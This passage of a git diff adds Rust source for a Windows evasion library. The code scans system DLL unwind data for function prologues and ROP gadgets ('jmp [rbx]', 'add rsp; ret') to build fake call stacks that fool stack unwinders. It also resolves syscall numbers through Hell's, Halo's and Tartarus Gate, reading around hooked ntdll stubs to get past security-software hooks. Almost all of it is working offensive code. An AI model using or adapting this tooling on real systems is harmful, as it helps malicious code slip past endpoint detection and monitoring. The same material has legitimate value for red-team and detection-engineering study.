config.frame_pool.second_frames[(tsc >> 8) % sc as usize]; + config.second_frame_fp = c.addr; + config.second_frame_size = c.size; + config.rbp_stack_offset = c.rbp_offset; // Where ASM plants fake RBP value + } +} + +// ============================================================================= +// Step 4: Build synthetic stack frames +// ============================================================================= +// +// To fool the unwinder, we need to find real functions in legitimate modules +// whose prologue layouts are suitable for spoofing. We need two kinds: +// +// 1. **First frame** ("normal" prologue): +// A function that allocates stack space and contains a `call [rip+0]` +// instruction. The call instruction gives us a valid "return address" +// within the function that the unwinder can resolve. +// +// 2. **Second frame** (RBP-based prologue): +// A function that pushes RBP (or saves it via MOV). This gives us a +// frame with a known RBP offset, which the unwinder expects to see +// in frame-pointer-based call chains. +// +// Together with the gadgets from Step 3 and the thread root functions +// (RtlUserThreadStart + BaseThreadInitThunk), these form the complete +// synthetic call stack: +// +// ```text +// Spoofed call stack (bottom to top): +// +// ┌─────────────────────────────────┐ +// │ RtlUserThreadStart │ ← thread root (every thread has this) +// │ frame_size from UNWIND_INFO │ +// ├─────────────────────────────────┤ +// │ BaseThreadInitThunk │ ← standard second frame +// │ frame_size from UNWIND_INFO │ +// ├─────────────────────────────────┤ +// │ Second frame (push rbp) │ ← from find_push_rbp_prolog() +// │ valid call [rip+0] ret addr │ +// ├─────────────────────────────────┤ +// │ First frame (normal) │ ← from find_prolog() +// │ valid call [rip+0] ret addr │ +// ├─────────────────────────────────┤ +// │ add rsp, 0x58; ret gadget │ ← stack cleanup +// ├─────────────────────────────────┤ +// │ jmp [rbx] gadget │ ← jumps to target function +// └─────────────────────────────────┘ +// ``` + +/// Metadata for a function prologue suitable for stack frame spoofing. +/// +/// Found by scanning a module's `.pdata` for functions with compatible +/// prologue layouts and a valid instruction to use as a return address. +#[derive(Clone, Copy)] +pub struct Prolog { + /// Absolute address of the function (module_base + BeginAddress). + pub frame: usize, + /// Total stack frame size from UNWIND_INFO. + pub stack_size: u32, + /// Offset within the function of a valid `call [rip+0]` instruction. + /// Used as the fake return address: `frame + offset`. + pub offset: u32, + /// Offset in the stack where RBP is saved (only set for push-rbp frames). + pub rbp_offset: u32, +} + +/// Finds a `call qword ptr [rip+0]` instruction within a function. +/// +/// This is used to find a plausible "return address" inside a legitimate +/// function. The unwinder will see this address and look it up in `.pdata` +/// to find the RUNTIME_FUNCTION - since it's a real instruction inside +/// a real function, the lookup succeeds and the unwind chain looks valid. +/// +/// # The pattern +/// +/// ```text +/// 48 FF 15 XX XX XX XX call qword ptr [rip + disp32] +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// 7 bytes total +/// +/// We return offset + 7 (the address AFTER the call), because that's +/// where a return address would point (as if the function had been called). +/// ``` +/// +/// # Arguments +/// +/// * `module_base` - Base address of the module +/// * `entry` - RUNTIME_FUNCTION entry for the function to scan +/// +/// # Returns +/// +/// Offset from `BeginAddress` to the instruction after the `call [rip+0]`. +#[link_section = ".text$E"] +pub unsafe fn find_valid_instruction_offset( + module_base: usize, + entry: &IMAGE_RUNTIME_FUNCTION_ENTRY, +) -> Option { + let func_start = module_base + entry.BeginAddress as usize; + let func_end = module_base + entry.EndAddress as usize; + let func_size = func_end.saturating_sub(func_start); + + let code = core::slice::from_raw_parts(func_start as *const u8, func_size); + + // Search for `call qword ptr [rip+disp32]` - opcode prefix is 48 FF 15 + if let Some(pos) = memmem(code, &[0x48, 0xFF, 0x15]) { + // Return offset AFTER the 7-byte instruction (where RIP would be on return) + return Some((pos + 7) as u32); + } + + None +} + +/// Finds a function with a SET_FPREG prologue, suitable for the **first** +/// synthetic frame. +/// +/// The first frame MUST use SET_FPREG because the ASM stub plants a fake RBP +/// value (via the second frame's rbp_offset). When the unwinder processes the +/// first frame, it reads the restored RBP and uses `RBP - FrameOffset*16` to +/// establish the frame. This is how the chain correctly reaches +/// BaseThreadInitThunk. +/// +/// This matches the POC's `Prolog::find_prolog()` + `stack_frame()`. +#[link_section = ".text$E"] +pub unsafe fn find_prolog( + module_base: usize, + pdata: *const IMAGE_RUNTIME_FUNCTION_ENTRY, + pdata_count: usize, +) -> Option { + let entries = core::slice::from_raw_parts(pdata, pdata_count); + + for entry in entries { + if let Some((has_set_fpreg, stack_size)) = check_stack_frame(module_base, entry) { + // Must have SET_FPREG and non-zero stack + if !has_set_fpreg || stack_size == 0 { + continue; + } + + // Must have a call [rip+0] instruction for the fake return address + if let Some(offset) = find_valid_instruction_offset(module_base, entry) { + return Some(Prolog { + frame: module_base + entry.BeginAddress as usize, + stack_size, + offset, + rbp_offset: 0, + }); + } + } + } + + None +} + +/// Checks if a function's prologue is suitable for the first frame. +/// +/// Matches the POC's `stack_frame()` function. Returns `(set_fpreg_hit, total_stack)`: +/// - `set_fpreg_hit`: whether UWOP_SET_FPREG was encountered (required for first frame) +/// - `total_stack`: total stack size, with FrameOffset<<4 subtracted when SET_FPREG is hit +/// +/// SET_FPREG is allowed (and required) because the ASM stub relies on the +/// unwinder using RBP to establish the frame for the first synthetic frame. +/// +/// Rejects functions that: +/// - Push RSP (when no SET_FPREG seen yet) +/// - Have both EH handler AND chain info with SET_FPREG +/// - Use a frame register other than RBP with SET_FPREG +#[link_section = ".text$E"] +unsafe fn check_stack_frame( + module_base: usize, + entry: &IMAGE_RUNTIME_FUNCTION_ENTRY, +) -> Option<(bool, u32)> { + let unwind_info = (module_base + entry.UnwindInfoAddress as usize) as *const UNWIND_INFO; + let codes = (*unwind_info).codes(); + let flags = (*unwind_info).flags(); + + let mut i = 0usize; + let mut set_fpreg_hit = false; + let mut total_stack = 0i32; + + while i < (*unwind_info).CountOfCodes as usize { + let code = &(*codes.add(i)).Anonymous; + let op_info = code.OpInfo() as usize; + + match UNWIND_OP_CODES::try_from(code.UnwindOp()) { + Ok(UNWIND_OP_CODES::UWOP_PUSH_NONVOL) => { + // Reject RSP push only if SET_FPREG hasn't been seen yet + if Registers::Rsp == op_info && !set_fpreg_hit { + return None; + } + total_stack += 8; + i += 1; + } + Ok(UNWIND_OP_CODES::UWOP_ALLOC_SMALL) => { + total_stack += ((op_info + 1) * 8) as i32; + i += 1; + } + Ok(UNWIND_OP_CODES::UWOP_ALLOC_LARGE) => { + if code.OpInfo() == 0 { + total_stack += (*codes.add(i + 1)).FrameOffset as i32 * 8; + i += 2; + } else { + total_stack += *(codes.add(i + 1) as *const i32); + i += 3; + } + } + Ok(UNWIND_OP_CODES::UWOP_SET_FPREG) => { + // Reject if both EH handler and chain info are set - ambiguous layout + if (flags & UNW_FLAG_EHANDLER) != 0 && (flags & UNW_FLAG_CHAININFO) != 0 { + return None; + } + // Frame register must be RBP (our ASM only supports RBP-based frames) + if (*unwind_info).frame_register() != Registers::Rbp as u8 { + return None; + } + set_fpreg_hit = true; + // SET_FPREG means: lea rbp, [rsp + FrameOffset*16] + // The unwinder uses RBP (not RSP) to find the frame base, so we + // subtract the frame offset from total_stack. The effective frame + // size seen by the unwinder is total_stack MINUS this offset, because + // the frame pointer (RBP) already accounts for that displacement. + let offset = ((*unwind_info).frame_offset() as i32) << 4; + total_stack -= offset; + i += 1; + } + Ok(UNWIND_OP_CODES::UWOP_SAVE_NONVOL) => { + if Registers::Rsp == op_info || Registers::Rbp == op_info { + return None; + } + i += 2; + } + Ok(UNWIND_OP_CODES::UWOP_SAVE_NONVOL_BIG) => { + if Registers::Rsp == op_info || Registers::Rbp == op_info { + return None; + } + i += 3; + } + Ok(UNWIND_OP_CODES::UWOP_SAVE_XMM128) => i += 2, + Ok(UNWIND_OP_CODES::UWOP_SAVE_XMM128BIG) => i += 3, + Ok(UNWIND_OP_CODES::UWOP_EPILOG) | Ok(UNWIND_OP_CODES::UWOP_SPARE_CODE) => i += 1, + Ok(UNWIND_OP_CODES::UWOP_PUSH_MACH_FRAME) => { + total_stack += if op_info == 0 { 0x40 } else { 0x48 }; + i += 1; + } + _ => {} + } + } + + // Handle chained unwind info + if (flags & UNW_FLAG_CHAININFO) != 0 { + if let Some((chained_fpreg, chained_stack)) = + check_stack_frame(module_base, &*(*unwind_info).chained_entry()) + { + total_stack += chained_stack as i32; + set_fpreg_hit |= chained_fpreg; + } else { + return None; + } + } + + Some((set_fpreg_hit, total_stack as u32)) +} + +/// Finds a function with a prologue that pushes/saves RBP, suitable for +/// the **second** synthetic frame. +/// +/// The unwinder expects to see an RBP-based frame somewhere in the chain +/// (many Windows functions use `push rbp` prologues). This function finds +/// one and records where RBP is saved, so the ASM stub can plant a fake +/// RBP value at the correct stack offset. +/// +/// # What makes a valid push-rbp frame? +/// +/// ```text +/// ✓ push rbx; push rbp; sub rsp, 0x30 → rbp_offset = 8 (after rbx push) +/// ✓ push rbp; sub rsp, 0x40 → rbp_offset = 0 (first thing pushed) +/// ✓ mov [rsp+0x10], rbp → rbp_offset = 0x10 (saved via MOV) +/// ✗ push rbp; push rbp → invalid (double RBP push) +/// ✗ (no RBP push/save at all) → invalid (need RBP for frame chain) +/// ``` +/// +/// # Returns +/// +/// `Prolog` with `rbp_offset` set to the stack offset where RBP is stored. +#[link_section = ".text$E"] +pub unsafe fn find_push_rbp_prolog( + module_base: usize, + pdata: *const IMAGE_RUNTIME_FUNCTION_ENTRY, + pdata_count: usize, +) -> Option { + let entries = core::slice::from_raw_parts(pdata, pdata_count); + + // Skip the first entry - it's often not suitable across Windows versions + // (matches POC behavior) + for entry in entries.iter().skip(1) { + if let Some((rbp_off, stack_size)) = check_rbp_frame(module_base, entry) { + // Must have valid RBP offset, non-zero frame, and RBP must be within frame + if rbp_off == 0 || stack_size == 0 || stack_size <= rbp_off { + continue; + } + + // Must have a call [rip+0] instruction for the fake return address + if let Some(offset) = find_valid_instruction_offset(module_base, entry) { + return Some(Prolog { + frame: module_base + entry.BeginAddress as usize, + stack_size, + offset, + rbp_offset: rbp_off, + }); + } + } + } + + None +} + +/// Analyzes a function's prologue for RBP push/save location and total frame size. +/// +/// Similar to `check_stack_frame` but tracks where RBP is saved: +/// +/// ```text +/// push rbx total_stack = 0 → after: total_stack = 8 +/// push rbp total_stack = 8 → rbp_offset = 8, total_stack = 16 +/// sub rsp, 0x20 total_stack = 16 → total_stack = 48 +/// +/// Or via MOV: +/// sub rsp, 0x30 total_stack = 0 → total_stack = 48 +/// mov [rsp+0x10], rbp → rbp_offset = 48 + 0x10 +/// ``` +/// +/// # Returns +/// +/// `Some((rbp_offset, total_stack))` if RBP is saved exactly once. +/// `None` if RSP is pushed, RBP is saved twice, or other invalid layouts. +#[link_section = ".text$E"] +unsafe fn check_rbp_frame( + module_base: usize, + entry: &IMAGE_RUNTIME_FUNCTION_ENTRY, +) -> Option<(u32, u32)> { + let unwind_info = (module_base + entry.UnwindInfoAddress as usize) as *const UNWIND_INFO; + let codes = (*unwind_info).codes(); + + let mut i = 0usize; + let mut total_stack = 0u32; + let mut rbp_pushed = false; + let mut rbp_offset = 0u32; + + while i < (*unwind_info).CountOfCodes as usize { + let code = &(*codes.add(i)).Anonymous; + let op_info = code.OpInfo() as usize; + + match UNWIND_OP_CODES::try_from(code.UnwindOp()) { + Ok(UNWIND_OP_CODES::UWOP_PUSH_NONVOL) => { + // Reject RSP push - can't safely fake an RSP save + if Registers::Rsp == op_info { + return None; + } + // Track RBP push - record its position BEFORE the 8-byte push + // so rbp_offset points to where RBP is stored on the stack. + // Example: if total_stack=8 when RBP is pushed, RBP lives at [rsp+8] + // from the caller's perspective (after all pushes). + if Registers::Rbp == op_info { + if rbp_pushed { + return None; // Double RBP save = ambiguous, reject + } + rbp_pushed = true; + rbp_offset = total_stack; + } + total_stack += 8; + i += 1; + } + Ok(UNWIND_OP_CODES::UWOP_ALLOC_SMALL) => { + total_stack += ((op_info + 1) * 8) as u32; + i += 1; + } + Ok(UNWIND_OP_CODES::UWOP_ALLOC_LARGE) => { + if code.OpInfo() == 0 { + // 16-bit size in next slot, multiplied by 8 + total_stack += (*codes.add(i + 1)).FrameOffset as u32 * 8; + i += 2; + } else { + // Full 32-bit size in next two slots (no multiply) + total_stack += *(codes.add(i + 1) as *const u32); + i += 3; + } + } + // SET_FPREG - reject for push-RBP frames. + // SET_FPREG functions use a different frame pointer model + // (lea rbp, [rsp+off]) that's incompatible with the simple + // push-rbp layout the ASM stub expects for second frames. + Ok(UNWIND_OP_CODES::UWOP_SET_FPREG) => return None, + Ok(UNWIND_OP_CODES::UWOP_SAVE_NONVOL) => { + if Registers::Rsp == op_info { + return None; + } + // RBP saved via `mov [rsp+off], rbp` instead of push. + // The offset is relative to RSP at that point in the prologue, + // so final rbp_offset = total_stack (already allocated) + slot offset. + if Registers::Rbp == op_info { + if rbp_pushed { + return None; // Already saved - ambiguous + } + // SAVE_NONVOL stores offset in next slot, scaled by 8 + let offset = (*codes.add(i + 1)).FrameOffset as u32 * 8; + rbp_offset = total_stack + offset; + rbp_pushed = true; + } + i += 2; + } + Ok(UNWIND_OP_CODES::UWOP_SAVE_NONVOL_BIG) => { + if Registers::Rsp == op_info { + return None; + } + // Same as SAVE_NONVOL but with unscaled 32-bit offset + if Registers::Rbp == op_info { + if rbp_pushed { + return None; + } + let offset = *(codes.add(i + 1) as *const u32); + rbp_offset = total_stack + offset; + rbp_pushed = true; + } + i += 3; + } + Ok(UNWIND_OP_CODES::UWOP_SAVE_XMM128) => i += 2, + Ok(UNWIND_OP_CODES::UWOP_SAVE_XMM128BIG) => i += 3, + Ok(UNWIND_OP_CODES::UWOP_EPILOG) | Ok(UNWIND_OP_CODES::UWOP_SPARE_CODE) => i += 1, + Ok(UNWIND_OP_CODES::UWOP_PUSH_MACH_FRAME) => { + total_stack += if op_info == 0 { 0x40 } else { 0x48 }; + i += 1; + } + _ => return None, + } + } + + // Handle chained unwind info + if ((*unwind_info).flags() & UNW_FLAG_CHAININFO) != 0 { + if let Some((_, chained_stack)) = + check_rbp_frame(module_base, &*(*unwind_info).chained_entry()) + { + total_stack += chained_stack; + } else { + return None; + } + } + + Some((rbp_offset, total_stack)) +} + +/// Populates a `Config` struct with all the data needed for the ASM spoof stub. +/// +/// This is the main orchestrator for Steps 1-4. It: +/// 1. Parses `.pdata` for the frame source modules, ntdll, and kernel32 +/// 2. Resolves `RtlUserThreadStart` and `BaseThreadInitThunk` frame sizes +/// 3. Finds SET_FPREG prologs from `first_frame_source` (closest to API) +/// 4. Finds push-RBP prologs from `second_frame_source` (closest to BaseThunk) +/// 5. Finds the required gadgets (`jmp [rbx]`, `add rsp, X; ret`) from gadget source +/// +/// # Per-frame module sourcing +/// +/// Each intermediate frame is sourced from a separate module so the spoofed +/// stack matches real Windows call chains (BaseThunk → k32 → kb → API): +/// +/// ```text +/// RtlUserThreadStart (ntdll) ← thread root +/// BaseThreadInitThunk (kernel32) ← standard frame +/// [second_frame] (second_frame_src) ← push-RBP, closest to BaseThunk +/// [first_frame] (first_frame_src) ← SET_FPREG, closest to API +/// [add rsp gadget] (gadget_src) ← cleanup gadget +/// [jmp rbx gadget] (gadget_src) ← stack pivot +/// target function ← actual API call +/// ``` +/// +/// Default sourcing: first_frame=kernelbase, second_frame=kernel32, gadgets=kernelbase. +/// Fallback: if kernel32 lacks push-RBP candidates, second_frame falls back to kernelbase. +/// +/// # Arguments +/// +/// * `ntdll_base` - Base address of ntdll.dll +/// * `kernel32_base` - Base address of kernel32.dll +/// * `first_frame_source` - Module for SET_FPREG prologs (closest to API) +/// * `second_frame_source` - Module for push-RBP prologs (closest to BaseThunk) +/// * `gadget_source_base` - Module for gadgets (jmp [rbx], add rsp) +/// * `rtl_user_thread_start` - Address of RtlUserThreadStart +/// * `base_thread_init_thunk` - Address of BaseThreadInitThunk +/// +/// # Returns +/// +/// A fully populated `Config` struct ready for the ASM stub, or `None` if +/// any required component couldn't be found. +#[link_section = ".text$E"] +pub unsafe fn build_config( + ntdll_base: usize, + kernel32_base: usize, + first_frame_source: usize, + second_frame_source: usize, + gadget_source_base: usize, + rtl_user_thread_start: usize, + base_thread_init_thunk: usize, +) -> Option { + use core::ffi::c_void; + + let mut config = Config::default(); + + // ----- Thread root addresses (bottom of every call stack) ----- + config.rtl_user_addr = rtl_user_thread_start as *const c_void; + config.base_thread_addr = base_thread_init_thunk as *const c_void; + + // ----- Parse .pdata for required modules ----- + // ntdll + kernel32 always needed (thread root frames live there) + let (ntdll_pdata, ntdll_count) = find_pdata(ntdll_base as _)?; + let (kernel32_pdata, kernel32_count) = find_pdata(kernel32_base as _)?; + + // First frame source (SET_FPREG prologs - typically kernelbase) + let (ffs_pdata, ffs_count) = find_pdata(first_frame_source as _)?; + + // Second frame source (push-RBP prologs - typically kernel32) + // Reuse first_frame_source's .pdata if same module to avoid redundant PE parsing + let (sfs_pdata, sfs_count) = if second_frame_source == first_frame_source { + (ffs_pdata, ffs_count) + } else { + find_pdata(second_frame_source as _)? + }; + + // Gadget source (jmp [rbx] + add rsp - typically kernelbase) + // Reuse whichever .pdata matches to avoid redundant PE parsing + let (gs_pdata, gs_count) = if gadget_source_base == first_frame_source { + (ffs_pdata, ffs_count) + } else if gadget_source_base == second_frame_source { + (sfs_pdata, sfs_count) + } else { + find_pdata(gadget_source_base as _)? + }; + + // ----- RtlUserThreadStart frame size (from ntdll) ----- + // Convert absolute address → RVA for .pdata lookup + let rtl_rva = (rtl_user_thread_start - ntdll_base) as u32; + let rtl_entry = find_runtime_entry(rtl_rva, ntdll_pdata, ntdll_count)?; + // Parse UNWIND_INFO to get exact stack frame size for synthetic stack allocation + config.rtl_user_thread_size = get_frame_size(ntdll_base, &*rtl_entry)? as u64; + + // ----- BaseThreadInitThunk frame size (from kernel32) ----- + let base_rva = (base_thread_init_thunk - kernel32_base) as u32; + let base_entry = find_runtime_entry(base_rva, kernel32_pdata, kernel32_count)?; + config.base_thread_size = get_frame_size(kernel32_base, &*base_entry)? as u64; + + // ----- First prologue frames (SET_FPREG) from first_frame_source ----- + // Collect up to POOL_SIZE candidates for per-call rotation. + // These are functions whose prologs use SET_FPREG (lea rbp, [rsp+off]) + // - closest to the API call in the spoofed stack. + let pool = &mut config.frame_pool; + pool.first_count = find_prologs( + first_frame_source, + ffs_pdata, + ffs_count, + &mut pool.first_frames, + ) as u8; + if pool.first_count == 0 { + return None; // No suitable SET_FPREG prologs found + } + // Seed the initial config with the first candidate; rotate_config picks others at runtime + config.first_frame_fp = pool.first_frames[0].addr; + config.first_frame_size = pool.first_frames[0].size; + + // ----- Second prologue frames (push rbp) from second_frame_source ----- + // These are functions that push/save RBP - closest to BaseThreadInitThunk. + // The ASM stub plants a fake RBP value at rbp_offset to link the frame chain. + pool.second_count = find_push_rbp_prologs( + second_frame_source, + sfs_pdata, + sfs_count, + &mut pool.second_frames, + ) as u8; + if pool.second_count == 0 { + return None; // No suitable push-RBP prologs found + } + config.second_frame_fp = pool.second_frames[0].addr; + config.second_frame_size = pool.second_frames[0].size; + config.rbp_stack_offset = pool.second_frames[0].rbp_offset; + + // ----- Gadget: add rsp, 0x58; ret (from gadget source) ----- + // Gadgets are NOT rotated (frame size must match ASM runtime layout) + let add_rsp = find_gadget( + gadget_source_base, + &[0x48, 0x83, 0xC4, 0x58, 0xC3], + gs_pdata, + gs_count, + )?; + config.add_rsp_gadget = add_rsp.address as *const c_void; + config.add_rsp_frame_size = add_rsp.frame_size as u64; + + // ----- Gadget: jmp [rbx] (from gadget source) ----- + let jmp_rbx = find_gadget(gadget_source_base, &[0xFF, 0x23], gs_pdata, gs_count)?; + config.jmp_rbx_gadget = jmp_rbx.address as *const c_void; + config.jmp_rbx_frame_size = jmp_rbx.frame_size as u64; + + Some(config) +} + +/// Finds an `add rsp, X; ret` gadget trying multiple frame sizes. +/// +/// The ASM stub reads the gadget size from Config at runtime, so the +/// immediate operand doesn't need to be 0x58 - any valid size works. +/// Tries common sizes in descending order. +#[link_section = ".text$E"] +pub unsafe fn find_add_rsp_gadget( + module_base: usize, + pdata: *const IMAGE_RUNTIME_FUNCTION_ENTRY, + pdata_count: usize, +) -> Option { + // Try common add rsp sizes (all multiples of 8, descending) + const SIZES: &[u8] = &[ + 0x58, 0x48, 0x50, 0x40, 0x38, 0x60, 0x68, 0x30, 0x70, 0x78, 0x28, + ]; + for &size in SIZES { + let pattern = [0x48, 0x83, 0xC4, size, 0xC3]; + if let Some(result) = find_gadget(module_base, &pattern, pdata, pdata_count) { + return Some(result); + } + } + None +} + +/// Builds a Config for syscall spoofing with separate gadget source module. +/// +/// Like `build_config` but allows sourcing gadgets from a different module +/// than the frames. Uses flexible `add rsp, X; ret` size search so gadgets +/// can be found in modules (like ntdll) that may not have `add rsp, 0x58`. +#[link_section = ".text$E"] +pub unsafe fn build_syscall_config( + ntdll_base: usize, + kernel32_base: usize, + first_frame_source: usize, + second_frame_source: usize, + gadget_source_base: usize, + rtl_user_thread_start: usize, + base_thread_init_thunk: usize, +) -> Option { + use core::ffi::c_void; + + let mut config = Config::default(); + + // ----- Thread root addresses ----- + config.rtl_user_addr = rtl_user_thread_start as *const c_void; + config.base_thread_addr = base_thread_init_thunk as *const c_void; + + // ----- Parse .pdata for required modules ----- + let (ntdll_pdata, ntdll_count) = find_pdata(ntdll_base as _)?; + let (kernel32_pdata, kernel32_count) = find_pdata(kernel32_base as _)?; + let (ffs_pdata, ffs_count) = find_pdata(first_frame_source as _)?; + + let (sfs_pdata, sfs_count) = if second_frame_source == first_frame_source { + (ffs_pdata, ffs_count) + } else { + find_pdata(second_frame_source as _)? + }; + + let (gs_pdata, gs_count) = if gadget_source_base == first_frame_source { + (ffs_pdata, ffs_count) + } else if gadget_source_base == second_frame_source { + (sfs_pdata, sfs_count) + } else if gadget_source_base == ntdll_base { + (ntdll_pdata, ntdll_count) + } else if gadget_source_base == kernel32_base { + (kernel32_pdata, kernel32_count) + } else { + find_pdata(gadget_source_base as _)? + }; + + // ----- RtlUserThreadStart frame size ----- + let rtl_rva = (rtl_user_thread_start - ntdll_base) as u32; + let rtl_entry = find_runtime_entry(rtl_rva, ntdll_pdata, ntdll_count)?; + config.rtl_user_thread_size = get_frame_size(ntdll_base, &*rtl_entry)? as u64; + + // ----- BaseThreadInitThunk frame size ----- + let base_rva = (base_thread_init_thunk - kernel32_base) as u32; + let base_entry = find_runtime_entry(base_rva, kernel32_pdata, kernel32_count)?; + config.base_thread_size = get_frame_size(kernel32_base, &*base_entry)? as u64; + + // ----- First prologue frames (SET_FPREG) ----- + let pool = &mut config.frame_pool; + pool.first_count = find_prologs( + first_frame_source, + ffs_pdata, + ffs_count, + &mut pool.first_frames, + ) as u8; + if pool.first_count == 0 { + return None; + } + config.first_frame_fp = pool.first_frames[0].addr; + config.first_frame_size = pool.first_frames[0].size; + + // ----- Second prologue frames (push rbp) ----- + pool.second_count = find_push_rbp_prologs( + second_frame_source, + sfs_pdata, + sfs_count, + &mut pool.second_frames, + ) as u8; + if pool.second_count == 0 { + return None; + } + config.second_frame_fp = pool.second_frames[0].addr; + config.second_frame_size = pool.second_frames[0].size; + config.rbp_stack_offset = pool.second_frames[0].rbp_offset; + + // ----- Gadget: add rsp, X; ret (flexible size search) ----- + let add_rsp = find_add_rsp_gadget(gadget_source_base, gs_pdata, gs_count)?; + config.add_rsp_gadget = add_rsp.address as *const c_void; + config.add_rsp_frame_size = add_rsp.frame_size as u64; + + // ----- Gadget: jmp [rbx] ----- + let jmp_rbx = find_gadget(gadget_source_base, &[0xFF, 0x23], gs_pdata, gs_count)?; + config.jmp_rbx_gadget = jmp_rbx.address as *const c_void; + config.jmp_rbx_frame_size = jmp_rbx.frame_size as u64; + + Some(config) +} diff --git a/crates/uwd/src/syscall.rs b/crates/uwd/src/syscall.rs new file mode 100644 index 0000000..424198f --- /dev/null +++ b/crates/uwd/src/syscall.rs @@ -0,0 +1,160 @@ +//! SSN (System Service Number) resolution for direct syscalls. +//! +//! Resolves the SSN from an ntdll stub so the ASM spoof stub can execute +//! the `syscall` instruction directly instead of calling through ntdll. +//! +//! # Resolution strategies +//! +//! **Hell's Gate** - reads SSN from an unhooked stub: +//! ```text +//! 4C 8B D1 mov r10, rcx +//! B8 XX XX 00 00 mov eax, ← bytes 4-5 are the SSN +//! ``` +//! +//! **Halo's Gate** - stub is hooked (starts with 0xE9 JMP). Scans neighbor +//! stubs ±32 bytes apart, adjusts SSN by the neighbor distance. +//! +//! **Tartarus Gate** - partial hook at byte +3 (0xE9). Same neighbor scan. +//! +//! # Difference from dinvk +//! +//! dinvk's `ssn()` takes a function name string and walks the export table +//! with jenkins3 hashing. Our version takes the already-resolved function +//! pointer directly (from `NtdllModule.*_ptr`) and just reads stub bytes. + +use core::{ffi::c_void, ptr::read}; + +/// Maximum neighbor distance to scan (Hell's/Halo's/Tartarus Gate). +const RANGE: usize = 255; + +/// Byte offset between adjacent ntdll syscall stubs (downward). +const DOWN: usize = 32; + +/// Byte offset between adjacent ntdll syscall stubs (upward). +const UP: isize = -32; + +/// Resolves the SSN for an Nt function by reading its ntdll stub. +/// +/// Uses Hell's Gate (unhooked) -> Halo's Gate (hooked) -> Tartarus Gate (partial hook). +/// +/// # Arguments +/// +/// * `func_addr` - Pointer to the start of the ntdll stub (already resolved). +/// +/// # Returns +/// +/// The SSN as a `u16`, or `None` if resolution fails. +/// +/// # Safety +/// +/// `func_addr` must point to a valid ntdll syscall stub in readable memory. +#[link_section = ".text$E"] +pub unsafe fn ssn(func_addr: *const u8) -> Option { + // Hell's Gate: unhooked stub + // 4C 8B D1 mov r10, rcx + // B8 XX XX 00 00 mov eax, + if read(func_addr) == 0x4C + && read(func_addr.add(1)) == 0x8B + && read(func_addr.add(2)) == 0xD1 + && read(func_addr.add(3)) == 0xB8 + && read(func_addr.add(6)) == 0x00 + && read(func_addr.add(7)) == 0x00 + { + let high = read(func_addr.add(5)) as u16; + let low = read(func_addr.add(4)) as u16; + return Some((high << 8) | low); + } + + // Halo's Gate: stub starts with JMP (0xE9) - hooked by software + if read(func_addr) == 0xE9 { + for idx in 1..RANGE { + // Check neighbor stub downward (+idx * 32 bytes) + if read(func_addr.add(idx * DOWN)) == 0x4C + && read(func_addr.add(1 + idx * DOWN)) == 0x8B + && read(func_addr.add(2 + idx * DOWN)) == 0xD1 + && read(func_addr.add(3 + idx * DOWN)) == 0xB8 + && read(func_addr.add(6 + idx * DOWN)) == 0x00 + && read(func_addr.add(7 + idx * DOWN)) == 0x00 + { + let high = read(func_addr.add(5 + idx * DOWN)) as u16; + let low = read(func_addr.add(4 + idx * DOWN)) as u16; + return Some((high << 8) | (low - idx as u16)); + } + + // Check neighbor stub upward (-idx * 32 bytes) + if read(func_addr.offset(idx as isize * UP)) == 0x4C + && read(func_addr.offset(1 + idx as isize * UP)) == 0x8B + && read(func_addr.offset(2 + idx as isize * UP)) == 0xD1 + && read(func_addr.offset(3 + idx as isize * UP)) == 0xB8 + && read(func_addr.offset(6 + idx as isize * UP)) == 0x00 + && read(func_addr.offset(7 + idx as isize * UP)) == 0x00 + { + let high = read(func_addr.offset(5 + idx as isize * UP)) as u16; + let low = read(func_addr.offset(4 + idx as isize * UP)) as u16; + return Some((high << 8) | (low + idx as u16)); + } + } + } + + // Tartarus Gate: partial hook at byte +3 (JMP at offset 3) + if read(func_addr.add(3)) == 0xE9 { + for idx in 1..RANGE { + // Check neighbor stub downward + if read(func_addr.add(idx * DOWN)) == 0x4C + && read(func_addr.add(1 + idx * DOWN)) == 0x8B + && read(func_addr.add(2 + idx * DOWN)) == 0xD1 + && read(func_addr.add(3 + idx * DOWN)) == 0xB8 + && read(func_addr.add(6 + idx * DOWN)) == 0x00 + && read(func_addr.add(7 + idx * DOWN)) == 0x00 + { + let high = read(func_addr.add(5 + idx * DOWN)) as u16; + let low = read(func_addr.add(4 + idx * DOWN)) as u16; + return Some((high << 8) | (low - idx as u16)); + } + + // Check neighbor stub upward + if read(func_addr.offset(idx as isize * UP)) == 0x4C + && read(func_addr.offset(1 + idx as isize * UP)) == 0x8B + && read(func_addr.offset(2 + idx as isize * UP)) == 0xD1 + && read(func_addr.offset(3 + idx as isize * UP)) == 0xB8 + && read(func_addr.offset(6 + idx as isize * UP)) == 0x00 + && read(func_addr.offset(7 + idx as isize * UP)) == 0x00 + { + let high = read(func_addr.offset(5 + idx as isize * UP)) as u16; + let low = read(func_addr.offset(4 + idx as isize * UP)) as u16; + return Some((high << 8) | (low + idx as u16)); + } + } + } + + None +} + +/// Finds the `syscall; ret` instruction address inside an ntdll stub. +/// +/// Scans for bytes `0F 05 C3` within 255 bytes of the function address. +/// +/// # Arguments +/// +/// * `func_addr` - Pointer to the start of the ntdll stub. +/// +/// # Returns +/// +/// Address of the `syscall` instruction (0F 05), or `None` if not found. +/// +/// # Safety +/// +/// `func_addr` must point into readable ntdll memory with at least 255 +/// bytes accessible after it. +#[link_section = ".text$E"] +pub unsafe fn get_syscall_address(func_addr: *const u8) -> Option<*const c_void> { + for i in 1..255usize { + if read(func_addr.add(i)) == 0x0F + && read(func_addr.add(i + 1)) == 0x05 + && read(func_addr.add(i + 2)) == 0xC3 + { + return Some(func_addr.add(i) as *const c_void); + } + } + None +} diff --git a/crates/uwd/src/types.rs b/crates/uwd/src/types.rs new file mode 100644 index 0000000..1d90a7f --- /dev/null +++ b/crates/uwd/src/types.rs @@ -0,0 +1,489 @@ +//! UNWIND_INFO structures and Config for UWD synthetic stack spoofing. +//! +//! This module defines the data structures used by the UWD spoof system: +//! +//! 1. [`UNWIND_CODE`] / [`UNWIND_INFO`] - Mirror of the Windows x64 exception ABI +//! structures used to parse `.pdata`/UNWIND_INFO and calculate stack frame sizes. +//! +//! 2. [`UNWIND_OP_CODES`] / [`Registers`] - Enums for interpreting unwind operations +//! and identifying saved registers. +//! +//! 3. [`Config`] - The bridge between Rust and the ASM spoof stub. Populated by +//! [`build_config()`](super::stack::build_config), consumed by `SpoofSynthetic()`. +//! +//! # Why UWD defines its own 